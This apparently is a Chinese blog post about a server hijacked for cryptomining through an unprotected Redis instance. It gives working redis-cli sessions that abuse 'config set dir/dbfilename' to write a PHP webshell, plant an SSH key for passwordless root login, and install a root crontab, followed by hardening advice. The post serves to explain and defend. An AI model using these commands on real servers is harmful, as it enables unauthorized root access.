Redis 配置不严谨导致服务器被攻击

1,772 阅读3分钟

  最近公司 web 服务器连续几次被人攻击拿去挖矿,刚开始以为是上传服务有漏洞,导致可执行脚本被上传到服务器然后运行。于是上传服务的程序经过修改,增加了各种对文件格式、后缀名等的校验。但之后服务器还是被攻击,最终排查发现原因在于 Redis 的配置不严谨,攻击者利用 config 命令修改了 crontab 定时任务同时还实现了 ssh 的免密登录。

  通常我们在安装 Redis 时都会使用默认的配置(默认的监听地址和端口),并且不会设置密码,但这种配置有时候却会使安装 Redis 的服务器被攻击。

⒈ 攻击

  Redis 命令中的 config 命令可以实现在不重启 Redis 服务的情况下修改 Redis 的配置。以下所说的这些攻击方式都是通过使用 config 命令来修改 Redis 的默认数据存放目录以及文件名称来实现的。

⓵ webshell

  如果可以知道网站的根目录,那么可以通过 Redis 进行 webshell 方式的攻击:

  • 首先将 Redis 的数据存放目录设置为网站根目录

  • 然后通过 Redis 命令向网站根目录写入想要执行的代码

dummyUser@XPS13:~$ redis-cli -h 10.10.10.1 
10.10.10.1:6379> config set dir /usr/local/nginx/html 
OK 
10.10.10.1:6379> config set dbfilename redis.php 
OK 
10.10.10.1:6379> set test "<?php phpinfo(); ?>" 
OK 
10.10.10.1:6379> save 
OK

  执行完上述操作之后,网站根目录下会生成一个名为 redis.php 的文件。通过 URL 访问这个文件,就可以知道所有与服务器上 PHP 相关的配置信息。

⓶ ssh

  如果我们可以知道运行 Redis 服务的用户和组对哪些用户的家目录有写权限(有些时候 Redis 会以 root 来运行),那么我们可以通过 Redis 来达到免密登录服务器的目的。

  • 通过命令行 ssh-keygen -t rsa 在本地生成公私钥
  • 将生成的公钥内容写入一个文本文件:(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
  • 将生成的文本文件导入到 Rediscat key.txt | redis-cli -h 10.10.10.1 -x set ssh_key
  • 将公钥保存到 authorized_keys
dummyUser@XPS13:~$ redis-cli -h 10.10.10.1 
10.10.10.1:6379> config set dir /root/.ssh 
OK 
10.10.10.1:6379> config set dbfilename authorized_keys 
OK 
10.10.10.1:6379> save 
OK

  执行完上述操作后,就可以通过 ssh 免密登录到服务器 ssh root@10.10.10.1

⓷ crontab

  通常在服务器配置定时任务都是通过执行 crontab -e 来实现,而实际上这些设置的定时任务最终是以文件的形式保存在服务器上(centos 的路径为 /var/spool/cron/ubuntu 的路径为 /var/spool/cron/crontabs/ )。由此,我们可以通过 Redis 命令将自己希望执行的定时任务保存到服务器上。

dummyUser@XPS13:~$ echo -e "\n\n * * * * * command to execute" | redis-cli -h 10.10.10.1 -x set cron 
OK 
dummyUser@XPS13:~$ redis-cli -h 10.10.10.1 
10.10.10.1:6379> config set dir /var/spool/cron 
OK 
10.10.10.1:6379> config set dbfilename root 
OK 
10.10.10.1:6379> save 
OK

⒉ 防范

⓵ 绑定 IP

  将 Redis 配置文件中的 bind 地址改为固定的 IP(通常为内网 IP),然后重启 Redis。这样,Redis 服务只会监听来自内网 IP 的请求,同时别人也无法实现从外网直接连接 Redis 服务。

⓶ 设置密码

  Redis 服务的密码默认为空,在为 Redis 设置密码时,可以通过配置项 requirepass 只设置密码,也可以在设置密码的同时通过配置项 masteruser 再设置一个相应的用户名。这样,在连接 Redis 服务时,只需要通过 auth 命令进行验证,成功后即可进行操作。


由于 Redis 运行速度非常快,外部用户可以进行每秒高达百万次的破解尝试,所以设置的密码应该尽量长而且复杂

⓷ 禁用部分敏感的命令

  可以通过配置文件禁用一些可能会导致严重后果的 Redis 命令,如前述的 config 命令,还有像 keysflushdbshutdown 等。

rename-command FLUSHDB "" 
rename-command CONFIG "" 
rename-command KEYS ""

⓸ ssl/tls

  Redis 从 6.0 版本开始支持 ssl/tls,可以在安装的时候增加编译选项 BUILD_TLS=yes 。但这样做会大大降低 Redis 的性能。


另外,在服务器运行 Redis 服务时,尽量不要以 root 权限运行,应该为 Redis 服务单独创建一个最小权限的用户和组。